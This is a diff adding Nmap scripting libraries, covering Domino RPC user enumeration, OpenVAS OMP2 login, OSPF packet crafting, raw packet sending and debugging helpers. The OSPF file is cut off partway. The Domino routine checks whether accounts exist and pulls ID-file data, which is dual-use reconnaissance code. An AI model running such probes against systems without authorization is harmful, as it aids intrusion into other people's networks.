+-- (<code>"dnet is not valid opened ethernet interface"</code>).
+-- @param packet An ethernet frame to send.
+-- @see new_dnet
+-- @usage dnet:ethernet_send(packet)
+function ethernet_send(packet)
+
+--- Closes an ethernet interface.
+--
+-- An error (<code>"device is not valid ethernet interface"</code>) is thrown
+-- in case the provided argument is not valid.
+-- @see new_dnet, ethernet_open
+-- @usage dnet:ethernet_close()
+function ethernet_close()
+
+--- Opens a socket for raw IPv4 packet sending.
+-- @see new_dnet
+-- @usage dnet:ip_open()
+function ip_open()
+
+--- Sends a raw IPv4 or IPv6 packet.
+--
+-- The dnet object must be associated with a previously opened socket. The
+-- packet must begin with an IP header. If there was no previous valid call
+-- to <code>ip_open</code> an error is thrown.
+-- @param packet An IP packet to send.
+-- @param dst A destination address, as a host table or string. If omitted, the
+-- destination address is read from the packet; however this is deprecated, because
+-- the packet does not contain the scope ID required to send to certain IPv6
+-- addresses.
+-- @see new_dnet
+-- @usage dnet:ip_send(packet, dst)
+function ip_send(packet, dst)
+
+--- Closes a raw IPv4 socket.
+-- @see new_dnet, ip_open
+-- @usage dnet:ip_close()
+function ip_close()
+
+--- Writes to a log file.
+--
+-- Writes <code>string</code> to <code>file</code> ("stdout" or "stderr").
+-- Use stdnse.debug to print debug information based on the
+-- debugging level.
+-- @see stdnse.debug
+function log_write(file, string)
diff --git a/nselib/nrpc.lua b/nselib/nrpc.lua
new file mode 100644
index 0000000..d5af8a6
--- /dev/null
+++ b/nselib/nrpc.lua
@@ -0,0 +1,164 @@
+--- A minimalistic library to support Domino RPC
+--
+-- Summary
+-- -------
+-- The library currently only supports user enumeration and uses chunks of
+-- captured data to do so.
+--
+-- Overview
+-- --------
+-- The library contains the following classes:
+--
+-- o DominoPacket
+-- - The packet class holding the packets sent between the client and the
+-- IBM Lotus Domino server
+--
+-- o Helper
+-- - A helper class that provides easy access to the rest of the library
+--
+-- Example
+-- -------
+-- The following sample code illustrates how scripts can use the Helper class
+-- to interface the library:
+--
+-- <code>
+-- helper = nrpc.Helper:new(host, port)
+-- status, err = nrpc:Connect()
+-- status, res = nrpc:isValidUser("Patrik Karlsson")
+-- status, err = nrpc:Close()
+-- </code>
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+--
+-- Version 0.1
+-- Created 07/23/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+_ENV = stdnse.module("nrpc", stdnse.seeall)
+
+-- The Domino Packet
+DominoPacket = {
+
+ --- Creates a new DominoPacket instance
+ --
+ -- @param data string containing the packet data
+ -- @return a new DominoPacket instance
+ new = function( self, data )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.data = data
+ return o
+ end,
+
+ --- Reads a packet from the socket
+ --
+ -- @param domsock socket connected to the server
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ read = function( self, domsock )
+ local status, data = domsock:receive_buf(match.numbytes(2), true)
+ local len = string.unpack( "<I2", data )
+
+ return domsock:receive_buf(match.numbytes(len), true)
+ end,
+
+ --- converts the packet to a string
+ __tostring = function(self)
+ return string.pack("<s2", self.data )
+ end,
+
+}
+
+Helper = {
+
+ --- Creates a new Helper instance
+ --
+ -- @param host table as received by the script action method
+ -- @param port table as received by the script action method
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.domsock = nmap.new_socket()
+ return o
+ end,
+
+ --- Connects the socket to the Domino server
+ --
+ -- @return status true on success, false on failure
+ -- @return err error message if status is false
+ connect = function( self )
+ self.domsock:set_timeout(5000)
+ if( not( self.domsock:connect( self.host.ip, self.port.number, "tcp" ) ) ) then
+ return false, ("ERROR: Failed to connect to Domino server %s:%d\n"):format(self.host, self.port)
+ end
+ return true
+ end,
+
+ --- Disconnects from the Lotus Domino Server
+ --
+ -- @return status true on success, false on failure
+ -- @return err error message if status is false
+ disconnect = function( self )
+ return self.domsock:close()
+ end,
+
+ --- Attempt to check whether the user exists in Domino or not
+ --
+ -- @param username string containing the user name to guess
+ -- @return status true on success false on failure
+ -- @return domino_id if it exists and status is true
+ -- err if status is false
+ isValidUser = function( self, username )
+ local data = stdnse.fromhex("00001e00000001000080000007320000700104020000fb2b2d00281f1e000000124c010000000000")
+ local status, id_data
+ local data_len, total_len, pkt_type, valid_user
+
+ self.domsock:send( tostring(DominoPacket:new( data )) )
+ data = DominoPacket:new():read( self.domsock )
+
+ data = stdnse.fromhex("0100320002004f000100000500000900")
+ .. string.char(#username + 1)
+ .. stdnse.fromhex("000000000000000000000000000000000028245573657273290000")
+ .. string.pack("z", username)
+
+ self.domsock:send( tostring(DominoPacket:new( data ) ) )
+ status, id_data = DominoPacket:new():read( self.domsock )
+
+ pkt_type = string.unpack("B", id_data, 3)
+ valid_user = string.unpack("B", id_data, 11)
+ total_len = string.unpack("<I2", id_data, 13)
+
+ if ( pkt_type == 0x16 ) then
+ if ( valid_user == 0x19 ) then
+ return true
+ else
+ return false
+ end
+ end
+
+ if ( pkt_type ~= 0x7e ) then
+ return false, "Failed to retrieve ID file"
+ end
+
+ status, data = DominoPacket:new():read( self.domsock )
+
+ id_data = id_data:sub(33) .. data:sub(11, total_len - #id_data + 11)
+
+ return true, id_data
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/nsedebug.lua b/nselib/nsedebug.lua
new file mode 100644
index 0000000..9effa39
--- /dev/null
+++ b/nselib/nsedebug.lua
@@ -0,0 +1,131 @@
+---
+-- Debugging functions for Nmap scripts.
+--
+-- This module contains various handy functions for debugging. These should
+-- never be used for actual results, only during testing.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local coroutine = require "coroutine"
+local debug = require "debug"
+local io = require "io"
+local math = require "math"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("nsedebug", stdnse.seeall)
+
+local EMPTY = {}; -- Empty constant table
+
+---
+-- Converts an arbitrary data type into a string. Will recursively convert
+-- tables. This can be very useful for debugging.
+--
+--@param data The data to convert.
+--@param indent (optional) The number of times to indent the line. Default
+-- is 0.
+--@return A string representation of a data, will be one or more full lines.
+function tostr(data, indent)
+ local str
+
+ if(indent == nil) then
+ indent = 0
+ end
+
+ -- Check the type
+ local typ = type(data)
+ if(typ == "nil" or typ == "number" or typ == "boolean" or typ == "function" or typ == "thread" or typ == "userdata") then
+ str = {(" "):rep(indent), tostring(data), "\n"}
+ elseif(type(data) == "string") then
+ str = {(" "):rep(indent), string.format("%q", data), "\n"}
+ elseif(type(data) == "table") then
+ local i, v
+ str = {}
+ for i, v in pairs(data) do
+ -- Check for a table in a table
+ str[#str+1] = (" "):rep(indent)
+ str[#str+1] = tostring(i)
+ if(type(v) == "table") then
+ str[#str+1] = ":\n"
+ str[#str+1] = tostr(v, indent + 2)
+ else
+ str[#str+1] = ": "
+ str[#str+1] = tostr(v, 0)
+ end
+ end
+ else
+ stdnse.debug1("Error: unknown data type: %s", type(data))
+ end
+
+ return table.concat(str)
+end
+
+--- Print out a string in hex, for debugging.
+--
+--@param str The data to print in hex.
+function print_hex(str)
+
+ -- Prints out the full lines
+ for line=1, #str/16, 1 do
+ io.write(string.format("%08x ", (line - 1) * 16))
+
+ -- Loop through the string, printing the hex
+ for char=1, 16, 1 do
+ local ch = string.byte(str, ((line - 1) * 16) + char)
+ io.write(string.format("%02x ", ch))
+ end
+
+ io.write(" ")
+
+ -- Loop through the string again, this time the ascii
+ for char=1, 16, 1 do
+ local ch = string.byte(str, ((line - 1) * 16) + char)
+ if ch < 0x20 or ch > 0x7f then
+ ch = string.byte(".", 1)
+ end
+ io.write(string.format("%c", ch))
+ end
+
+ io.write("\n")
+ end
+
+ -- Prints out the final, partial line
+ if (#str % 16 ~= 0) then
+ local line = math.floor((#str/16)) + 1
+ io.write(string.format("%08x ", (line - 1) * 16))
+
+ for char=1, #str % 16, 1 do
+ local ch = string.byte(str, ((line - 1) * 16) + char)
+ io.write(string.format("%02x ", ch))
+ end
+ io.write(string.rep(" ", 16 - (#str % 16)));
+ io.write(" ")
+
+ for char=1, #str % 16, 1 do
+ local ch = string.byte(str, ((line - 1) * 16) + char)
+ if ch < 0x20 or ch > 0x7f then
+ ch = string.byte(".", 1)
+ end
+ io.write(string.format("%c", ch))
+ end
+
+ io.write("\n")
+ end
+
+ -- Print out the length
+ io.write(string.format(" Length: %d [0x%x]\n", #str, #str))
+
+end
+
+---Print out a stacktrace. The stacktrace will naturally include this function call.
+function print_stack()
+ local thread = coroutine.running()
+ local trace = debug.traceback(thread);
+ if trace ~= "stack traceback:" then
+ print(thread, "\n", trace, "\n");
+ end
+end
+
+
+
+return _ENV;
diff --git a/nselib/omp2.lua b/nselib/omp2.lua
new file mode 100644
index 0000000..83c38cd
--- /dev/null
+++ b/nselib/omp2.lua
@@ -0,0 +1,181 @@
+---
+-- This library was written to ease interaction with OpenVAS Manager servers
+-- using OMP (OpenVAS Management Protocol) version 2.
+--
+-- A very small subset of the protocol is implemented.
+-- * Connection/authentication
+-- * Targets enumeration
+--
+-- The library can also store accounts in the registry to share them between
+-- scripts.
+--
+-- The complete protocol documentation is available on the official OpenVAS
+-- website: http://www.openvas.org/omp-2-0.html
+--
+-- Sample use:
+-- <code>
+-- local session = omp2.Session:new()
+-- local status, err = session:connect(host, port)
+-- local status, err = session:authenticate(username, password)
+-- ...
+-- session:close()
+-- </code>
+--
+-- @author Henri Doreau
+-- @copyright Same as Nmap -- See https://nmap.org/book/man-legal.html
+--
+-- @args omp2.username The username to use for authentication.
+-- @args omp2.password The password to use for authentication.
+--
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+_ENV = stdnse.module("omp2", stdnse.seeall)
+
+local HAVE_SSL = false
+
+if pcall(require,'openssl') then
+ HAVE_SSL = true
+end
+
+--- A Session class holds connection and interaction with the server
+Session = {
+
+ --- Creates a new session object
+ new = function(self, socket)
+
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+
+ o.username = nmap.registry.args["omp2.username"]
+ o.password = nmap.registry.args["omp2.password"]
+ o.socket = socket or nmap.new_socket()
+
+ return o
+ end,
+
+ --- Establishes the (SSL) connection to the remote server
+ connect = function(self, host, port)
+ if not HAVE_SSL then
+ return false, "The OMP2 module requires OpenSSL support"
+ end
+
+ return self.socket:connect(host, port, "ssl")
+ end,
+
+ --- Closes connection
+ close = function(self)
+ return self.socket:close()
+ end,
+
+ --- Attempts to authenticate on the current connection
+ authenticate = function(self, username, password)
+ local status, err, xmldata
+
+ -- TODO escape credentials
+ status, err = self.socket:send("<authenticate><credentials>"
+ .. "<username>" .. username .. "</username>"
+ .. "<password>" .. password .. "</password>"
+ .. "</credentials></authenticate>")
+
+ if not status then
+ stdnse.debug1("ERROR: %s", err)
+ return false, err
+ end
+
+ status, xmldata = self.socket:receive()
+ if not status then
+ stdnse.debug1("ERROR: %s", xmldata)
+ return false, xmldata
+ end
+
+ return xmldata:match('status="200"')
+ end,
+
+ --- Lists targets defined on the remote server
+ ls_targets = function(self)
+ local status, err, xmldata
+ local res, target_names, target_hosts = {}, {}, {}
+
+ status, err = self.socket:send("<get_targets/>")
+
+ if not status then
+ stdnse.debug1("ERROR: %s", err)
+ return false, err
+ end
+
+ status, xmldata = self.socket:receive()
+ if not status then
+ stdnse.debug1("ERROR: %s", xmldata)
+ return false, xmldata
+ end
+
+ -- As NSE has no XML parser yet, we use regexp to extract the data from the
+ -- XML output. Targets are defined as a name and the corresponding host(s).
+ -- Thus we gather both and return an associative array, using names as keys
+ -- and hosts as values.
+
+ local i = 0
+ for name in xmldata:gmatch("<name>(.-)</name>") do
+ -- XXX this is hackish: skip the second and third "<name>" tags, as they
+ -- describe other components than the targets.
+ -- see: http://www.openvas.org/omp-2-0.html#command_get_targets
+ if i % 3 == 0 then
+ table.insert(target_names, name)
+ end
+ i = i + 1
+ end
+
+ for hosts in xmldata:gmatch("<hosts>(.-)</hosts>") do
+ table.insert(target_hosts, hosts)
+ end
+
+ for i, _ in ipairs(target_names) do
+ res[target_names[i]] = target_hosts[i]
+ end
+
+ return res
+ end,
+}
+
+--- Registers OMP2 credentials for a given host
+function add_account(host, username, password)
+ if not nmap.registry[host.ip] then
+ nmap.registry[host.ip] = {}
+ end
+
+ if not nmap.registry[host.ip]["omp2accounts"] then
+ nmap.registry[host.ip]["omp2accounts"] = {}
+ end
+
+ table.insert(nmap.registry[host.ip]["omp2accounts"], {["username"] = username, ["password"] = password})
+end
+
+--- Retrieves the list of accounts for a given host
+function get_accounts(host)
+ local accounts = {}
+ local username, password
+
+ username = nmap.registry.args["omp2.username"]
+ password = nmap.registry.args["omp2.password"]
+
+ if username and password then
+ table.insert(accounts, {["username"] = username, ["password"] = password})
+ end
+
+ if nmap.registry[host.ip] and nmap.registry[host.ip]["omp2accounts"] then
+ for _, account in pairs(nmap.registry[host.ip]["omp2accounts"]) do
+ table.insert(accounts, account)
+ end
+ end
+
+ if #accounts > 0 then
+ return accounts
+ end
+ return nil
+end
+
+
+return _ENV;
diff --git a/nselib/oops.lua b/nselib/oops.lua
new file mode 100644
index 0000000..d070d5e
--- /dev/null
+++ b/nselib/oops.lua
@@ -0,0 +1,131 @@
+--- Useful error stack objects
+--
+-- Many NSE library functions return a boolean status and an optional error
+-- message. The Oops library consists of several simple functions to accumulate
+-- these errors and pass them up the stack, resulting in a useful and verbose
+-- error message when debugging.
+--
+-- @author Daniel Miller
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name oops
+
+local require = require
+local setmetatable = setmetatable
+local _ENV = require "strict" {}
+
+local nmap = require "nmap"
+local debugging = nmap.debugging
+local verbosity = nmap.verbosity
+
+local table = require "table"
+local concat = table.concat
+local insert = table.insert
+
+local Oops = {
+ new = function (self, message)
+ local o = {message}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ push = function (self, message)
+ insert(self, 1, message)
+ end,
+
+ __tostring = function (self)
+ local banner = "The script encountered an error"
+ local sep = ":\n- "
+ if debugging() > 0 then
+ -- Print full error trace
+ return banner .. sep .. concat(self, sep)
+ end
+ if verbosity() > 0 then
+ -- Show just the top error
+ return banner .. ": " .. self[1]
+ end
+ -- By default, no string output shown.
+ return ""
+ end,
+}
+
+--- Add an error message to a stack of errors
+--
+-- @param message The error message to add to the stack.
+-- @param previous (Optional) Any error reported by other functions that failed.
+-- @return An Oops object representing the error stack.
+err = function (message, previous)
+ local result
+ if previous then
+ if previous.push then
+ result = previous
+ else
+ result = Oops:new(previous)
+ end
+ result:push(message)
+ elseif message.push then
+ result = message
+ else
+ result = Oops:new(message)
+ end
+ return result
+end
+local err = err
+
+--- Report an error or return a good value
+--
+-- If the status is true, just return the message. If it's false, return the
+-- message as an Oops object. This can be easily used as the final return value
+-- of a script.
+-- @param status The return status of the script.
+-- @param message The output of the script, or an error message if status is false.
+-- @return The message if status is true, or an error message if it is false.
+output = function (status, message)
+ if status then
+ return message
+ else
+ return err(message)
+ end
+end
+local output = output
+
+--- Report a status and error or return values
+--
+-- This is intended to wrap a function that returns a status and either an
+-- error or some value. If the status is false, the message is added to the
+-- stack of errors. Instead of this code:
+--
+-- <code>
+-- local status, value_or_error, value = somefunction(args)
+-- if not status then
+-- return status, "somefunction failed for some reason"
+-- end
+-- </code>
+--
+-- with this instead:
+--
+-- <code>
+-- local status, value_or_error, value = oops.raise("somefunction failed", somefunction(args))
+-- if not status then
+-- return status, value_or_error
+-- end
+-- </code>
+--
+-- but instead of just the one error, you get a stack of errors from
+-- <code>somefunction</code> with your own message at the top.
+--
+-- @param message The error message to report if status is false.
+-- @param status The first return value of the function. Treated as boolean, but returned unmodified.
+-- @param previous The second return value of the function, or error.
+-- @return The same status that was input.
+-- @return The rest of the return values, but on error, the message will be added to the stack.
+raise = function (message, status, previous, ...)
+ local r = previous
+ if not status then
+ r = err(message, previous)
+ end
+ return status, r, ...
+end
+
+return _ENV
diff --git a/nselib/openssl.luadoc b/nselib/openssl.luadoc
new file mode 100644
index 0000000..b794aa6
--- /dev/null
+++ b/nselib/openssl.luadoc
@@ -0,0 +1,212 @@
+---
+-- OpenSSL bindings.
+--
+-- This module is a wrapper for OpenSSL functions that provide encryption and
+-- decryption, hashing, and multiprecision integers.
+--
+-- The <code>openssl</code> module may not always be available. It depends on
+-- whether OpenSSL support was enabled at compile time. Scripts using the
+-- module should be made to fail gracefully using code like the following:
+-- <code>
+-- if not pcall(require, "openssl") then
+-- action = function(host, port)
+-- stdnse.debug2("Skipping \"%s\" because OpenSSL is missing.", id)
+-- end
+-- end
+-- action = action or function(host, port)
+-- ...
+-- end
+-- </code>
+-- @author Sven Klemm <sven@c3d2.de>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+module "openssl"
+
+--- Returns the size of <code>bignum</code> in bits.
+-- @param bignum bignum to operate on.
+-- @return Size of <code>bignum</code>.
+function bignum_num_bits(bignum)
+
+--- Returns the size of <code>bignum</code> in bytes.
+-- @param bignum bignum to operate on.
+-- @return Size of <code>bignum</code>.
+function bignum_num_bytes(bignum)
+
+--- Sets the bit at <code>position</code> in <code>bignum</code>.
+-- @param bignum bignum to operate on.
+-- @param position Bit position.
+function bignum_set_bit(bignum, position)
+
+--- Clears the bit at <code>position</code> in <code>bignum</code>.
+-- @param bignum bignum to operate on.
+-- @param position Bit position.
+function bignum_clear_bit(bignum, position)
+
+--- Gets the state of the bit at <code>position</code> in <code>bignum</code>.
+-- @param bignum bignum to operate on.
+-- @param position Bit position.
+-- @return True if the selected bit is set, false otherwise.
+function bignum_is_bit_set(bignum, position)
+
+--- Checks whether <code>bignum</code> is probably prime.
+--
+-- Performs Miller-Rabin probabilistic primality tests.
+-- @param bignum bignum to check for primality
+-- @return True if the number is probably prime with a false positive rate of at most 2^-80, false if it is composite.
+
+function bignum_is_prime(bignum)
+
+--- Checks whether <code>bignum</code> is a safe prime.
+--
+-- A safe prime is defined as a prime p so that (p-1)/2 is also prime. Using
+-- non-safe primes in discrete logarithm cryptography like Diffie-Hellman can
+-- result in weak, easily broken key exchanges. The number of checks is
+-- dependent on bitsize of bignum, with a false positive rate of at most 2^-80
+-- @param bignum bignum to check for primality
+-- @return True if the number is a safe prime, false if it is not.
+-- @return True if the number is probably prime, false if it is composite.
+function bignum_is_safe_prime(bignum)
+
+--- Converts a binary-encoded string into a bignum.
+-- @param string Binary string.
+-- @return bignum.
+function bignum_bin2bn(string)
+
+--- Converts a decimal-encoded string into a bignum.
+-- @param string Decimal string.
+-- @return bignum.
+function bignum_dec2bn(string)
+
+--- Converts a hex-encoded string into a bignum.
+-- @param string Hex string.
+-- @return bignum.
+function bignum_hex2bn(string)
+
+--- Converts <code>bignum</code> into a binary-encoded string.
+-- @param bignum bignum to operate on.
+-- @return Binary string.
+function bignum_bn2bin(bignum)
+
+--- Converts <code>bignum</code> into a decimal-encoded string.
+-- @param bignum bignum to operate on.
+-- @return Decimal string.
+function bignum_bn2dec(bignum)
+
+--- Converts <code>bignum</code> into a hex-encoded string.
+-- @param bignum bignum to operate on.
+-- @return Hex string.
+function bignum_bn2hex(bignum)
+
+--- Returns a random bignum.
+-- @param bits Size of the returned bignum in bits.
+-- @return Random bignum.
+function bignum_rand(bits)
+
+--- Returns a pseudorandom bignum.
+--
+-- Alias for <code>bignum_rand()</code>.
+-- @param bits Size of the returned bignum in bits.
+-- @return Random bignum.
+function bignum_pseudo_rand(bits)
+
+--- Returns the bignum which is the result of <code>a</code>^<code>p</code> mod
+-- <code>m</code>.
+-- @param a Base.
+-- @param p Exponent.
+-- @param m Modulus.
+-- @return bignum.
+function bignum_mod_exp(a, p, m)
+
+--- Returns the bignums which are the result and remainder of <code>a/b</code>
+-- @param a bignum
+-- @param b bignum
+-- @return bignum quotient
+-- @return bignum remainder (modulo)
+function bignum_div(a, b)
+
+--- Returns the bignum which is the result of <code>a+b</code>
+-- @param a bignum
+-- @param b bignum
+-- @return bignum
+function bignum_add(a, b)
+
+--- Returns a string containing cryptographically-strong random data.
+--
+-- If the PRNG has not been seeded with enough randomness, this function throws an error.
+-- @param bytes Length of the returned string in bytes.
+-- @return Random string.
+function rand_bytes(bytes)
+
+--- Returns a string containing pseudorandom data.
+--
+-- No indication is given whether or not the contents of the string are
+-- cryptographically strong.
+-- @param bytes Length of the returned string in bytes.
+-- @return Pseudorandom string.
+function rand_pseudo_bytes(bytes)
+
+--- Returns the MD4 digest of a string.
+-- @param message String to digest.
+-- @return MD4 digest.
+function md4(message)
+
+--- Returns the MD5 digest of a string.
+-- @param message String to digest.
+-- @return MD5 digest.
+function md5(message)
+
+--- Returns the SHA-1 digest of a string.
+-- @param message String to digest.
+-- @return SHA-1 digest.
+function sha1(message)
+
+--- Returns the RIPEMD-160 digest of a string.
+-- @param message String to digest.
+-- @return RIPEMD-160 digest.
+function ripemd160(message)
+
+--- Returns the digest of a string using a named algorithm.
+-- @param algorithm Any of the strings returned by
+-- <code>openssl.supported_digests</code>.
+-- @param message String to digest.
+function digest(algorithm, message)
+
+--- Returns the message authentication code of a string using a named algorithm.
+-- @param algorithm Any of the strings returned by
+-- <code>openssl.supported_digests</code>.
+-- @param key Key.
+-- @param message String.
+function hmac(algorithm, key, message)
+
+--- Encrypt data with a given algorithm, key, and initialization vector.
+-- @param algorithm Any of the strings returned by
+-- <code>openssl.supported_ciphers</code>.
+-- @param key Key.
+-- @param iv Initialization vector.
+-- @param data Data to encrypt.
+-- @param padding If true, then a partial final block will be padded and
+-- encrypted (default false).
+function encrypt(algorithm, key, iv, data, padding)
+
+--- Decrypt data with a given algorithm, key, and initialization vector.
+-- @param algorithm Any of the strings returned by
+-- <code>openssl.supported_ciphers</code>.
+-- @param key Key.
+-- @param iv Initialization vector.
+-- @param data Data to decrypt.
+-- @param padding If true, then the final block must be padded correctly
+-- (default false).
+function decrypt(algorithm, key, iv, data, padding)
+
+--- Returns a table with the names of the supported cipher algorithms.
+-- @return Array containing cipher names as strings.
+function supported_ciphers()
+
+--- Returns a table with the names of the supported digest algorithms.
+-- @return Array containing digest names as strings.
+function supported_digests()
+
+--- Converts a 56-bit DES key into a 64-bit key with the correct parity.
+-- @param data A 7-byte string.
+-- @return An 8-byte string.
+function DES_string_to_key(data)
diff --git a/nselib/ospf.lua b/nselib/ospf.lua
new file mode 100644
index 0000000..302079c
--- /dev/null
+++ b/nselib/ospf.lua
@@ -0,0 +1,534 @@
+---
+-- A limited OSPF (Open Shortest Path First routing protocol) library, currently supporting IPv4 and the following
+-- OSPF message types: HELLO, DB_DESCRIPTION, LS_REQUEST, LS_UPDATE
+--
+-- The library consists of an OSPF class that contains code to handle OSPFv2 packets.
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @author Emiliano Ticci <emiticci@gmail.com>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local math = require "math"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local ipOps = require "ipOps"
+local packet = require "packet"
+_ENV = stdnse.module("ospf", stdnse.seeall)
+
+local have_ssl, openssl = pcall(require, "openssl")
+
+-- The OSPF class.
+OSPF = {
+
+ -- Message Type constants
+ Message = {
+ HELLO = 1,
+ DB_DESCRIPTION = 2,
+ LS_REQUEST = 3,
+ LS_UPDATE = 4,
+ },
+
+ Header = {
+ size = 24,
+ new = function(self, type, area_id, router_id, auth_type, auth_data)
+ local o = {
+ ver = 2,
+ type = type,
+ length = 0,
+ router_id = router_id or 0,
+ area_id = area_id or 0,
+ chksum = 0,
+ auth_type = auth_type or 0,
+ auth_data = auth_data or {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local header = OSPF.Header:new()
+ local pos
+ header.ver, header.type, header.length, pos = string.unpack(">BBI2", data)
+ assert( header.ver == 2, "Invalid OSPF version detected")
+
+ header.router_id, header.area_id, header.chksum, header.auth_type, pos
+ = string.unpack(">I4 I4 I2 I2", data, pos)
+
+ -- No authentication
+ if header.auth_type == 0x00 then
+ header.auth_data.password = nil
+ -- Clear text password
+ elseif header.auth_type == 0x01 then
+ header.auth_data.password, pos = string.unpack("c8", data, pos)
+ -- MD5 hash authentication
+ elseif header.auth_type == 0x02 then
+ header.auth_data.keyid, header.auth_data.length, header.auth_data.seq = string.unpack(">BB I4", data, pos+2)
+ local hash = stdnse.tohex(string.sub(data, header.length+1, header.length+1+header.auth_data.length))
+ header.auth_data.hash = hash
+ else
+ -- Shouldn't happen
+ stdnse.debug1("Unknown authentication type %s", header.auth_type)
+ return nil
+ end
+ header.router_id = ipOps.fromdword(header.router_id)
+ return header
+ end,
+
+ --- Sets the OSPF Area ID
+ -- @param areaid Area ID.
+ setAreaID = function(self, areaid)
+ self.area_id = (type(areaid) == "number") and areaid or ipOps.todword(areaid)
+ end,
+
+ --- Sets the OSPF Router ID
+ -- @param router_id Router ID.
+ setRouterId = function(self, router_id)
+ self.router_id = router_id
+ end,
+
+ --- Sets the OSPF Packet length
+ -- @param length Packet length.
+ setLength = function(self, length)
+ self.length = self.size + length
+ end,
+
+ __tostring = function(self)
+ local auth
+ if self.auth_type == 0x00 then
+ auth = string.rep("\0", 8)
+ elseif self.auth_type == 0x01 then
+ auth = self.auth_data.password
+ elseif self.auth_type == 0x02 then
+ auth = string.pack(">I2 BB I4", 0, self.auth_data.keyid, self.auth_data.length, self.auth_data.seq)
+ end
+ local hdr = string.pack(">BB I2 I4 I4 I2 I2",
+ self.ver, self.type,
+ self.length,
+ ipOps.todword(self.router_id),
+ self.area_id,
+ self.chksum,
+ self.auth_type
+ ) .. auth
+ return hdr
+ end,
+
+ },
+
+ Hello = {
+ new = function(self)
+ local o = {
+ header = OSPF.Header:new(OSPF.Message.HELLO),
+ options = 0x02,
+ prio = 0,
+ interval = 10,
+ router_dead_interval = 40,
+ neighbors = {},
+ DR = "0.0.0.0",
+ BDR = "0.0.0.0",
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Adds a neighbor to the list of neighbors.
+ -- @param neighbor IP Address of the neighbor.
+ addNeighbor = function(self, neighbor)
+ table.insert(self.neighbors, neighbor)
+ end,
+
+ --- Sets the OSPF netmask.
+ -- @param netmask Netmask in A.B.C.D
+ setNetmask = function(self, netmask)
+ if netmask then
+ self.netmask = netmask
+ end
+ end,
+
+ --- Sets the OSPF designated Router.
+ -- @param router IP address of the designated router.
+ setDesignatedRouter = function(self, router)
+ if router then
+ self.DR = router
+ end
+ end,
+
+ --- Sets the OSPF backup Router.
+ -- @param router IP Address of the backup router.
+ setBackupRouter = function(self, router)
+ if router then
+ self.BDR = router
+ end
+ end,
+
+ __tostring = function(self)
+ self.neighbors = self.neighbors or {}
+ local function tostr()
+ local data = {
+ string.pack(">I4 I2 BB I4 I4 I4",
+ ipOps.todword(self.netmask),
+ self.interval,
+ self.options, self.prio,
+ self.router_dead_interval,
+ ipOps.todword(self.DR),
+ ipOps.todword(self.BDR))
+ }
+ for _, n in ipairs(self.neighbors) do
+ data[#data+1] = string.pack(">I4", ipOps.todword(n))
+ end
+ data = table.concat(data)
+ self.header:setLength(#data)
+ return tostring(self.header) .. data .. (self.header.auth_data.hash or "")
+ end
+ local data = tostr()
+ if have_ssl and self.header.auth_type == 0x02 then
+ self.header.auth_data.key = self.header.auth_data.key .. string.rep("\0", 16 - #self.header.auth_data.key)
+ self.header.auth_data.hash = openssl.md5(data .. self.header.auth_data.key)
+ else
+ self.header.chksum = packet.in_cksum(data:sub(1,16) .. data:sub(25))
+ end
+ return tostr()
+ end,
+
+ parse = function(data)
+ local hello = OSPF.Hello:new()
+ local pos = OSPF.Header.size + 1
+ hello.header = OSPF.Header.parse(data)
+ assert( #data >= hello.header.length, "OSPF packet too short")
+ hello.netmask, hello.interval, hello.options, hello.prio,
+ hello.router_dead_interval, hello.DR,
+ hello.BDR, pos = string.unpack(">I4 I2 BB I4 I4 I4", data, pos)
+
+ hello.netmask = ipOps.fromdword(hello.netmask)
+ hello.DR = ipOps.fromdword(hello.DR)
+ hello.BDR = ipOps.fromdword(hello.BDR)
+
+ if ( ( #data - pos + 1 ) % 4 ~= 0 ) then
+ stdnse.debug2("Unexpected OSPF packet length, aborting ...")
+ return
+ end
+
+ local neighbor_count = ( hello.header.length - pos + 1 ) / 4
+ local neighbor
+
+ hello.neighbors = {}
+ for i=1, neighbor_count do
+ neighbor, pos = string.unpack(">I4", data, pos)
+ neighbor = ipOps.fromdword(neighbor)
+ table.insert(hello.neighbors, neighbor)
+ end
+ return hello
+ end,
+
+ },
+
+ LSA = {
+ Header = {
+ size = 20,
+ new = function(self)
+ local o = {
+ age = 0,
+ options = 0,
+ type = 1,
+ id = 0,
+ adv_router = 0,
+ sequence = 0,
+ checksum = 0,
+ length = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local lsa_h = OSPF.LSA.Header:new()
+ local pos = 1
+ lsa_h.age, lsa_h.options, lsa_h.type, lsa_h.id, lsa_h.adv_router,
+ lsa_h.sequence, lsa_h.checksum, lsa_h.length, pos = string.unpack(">I2 BB I4 I4 c4 c2 I2", data, pos)
+
+ lsa_h.id = ipOps.fromdword(lsa_h.id)
+ lsa_h.adv_router = ipOps.fromdword(lsa_h.adv_router)
+ lsa_h.sequence = stdnse.tohex(lsa_h.sequence)
+ lsa_h.checksum = stdnse.tohex(lsa_h.checksum)
+ return lsa_h
+ end,
+
+ },
+
+ Link = {
+ new = function(self)
+ local o = {
+ id = 0,
+ data = 0,
+ type = 2,
+ num_metrics = 0,
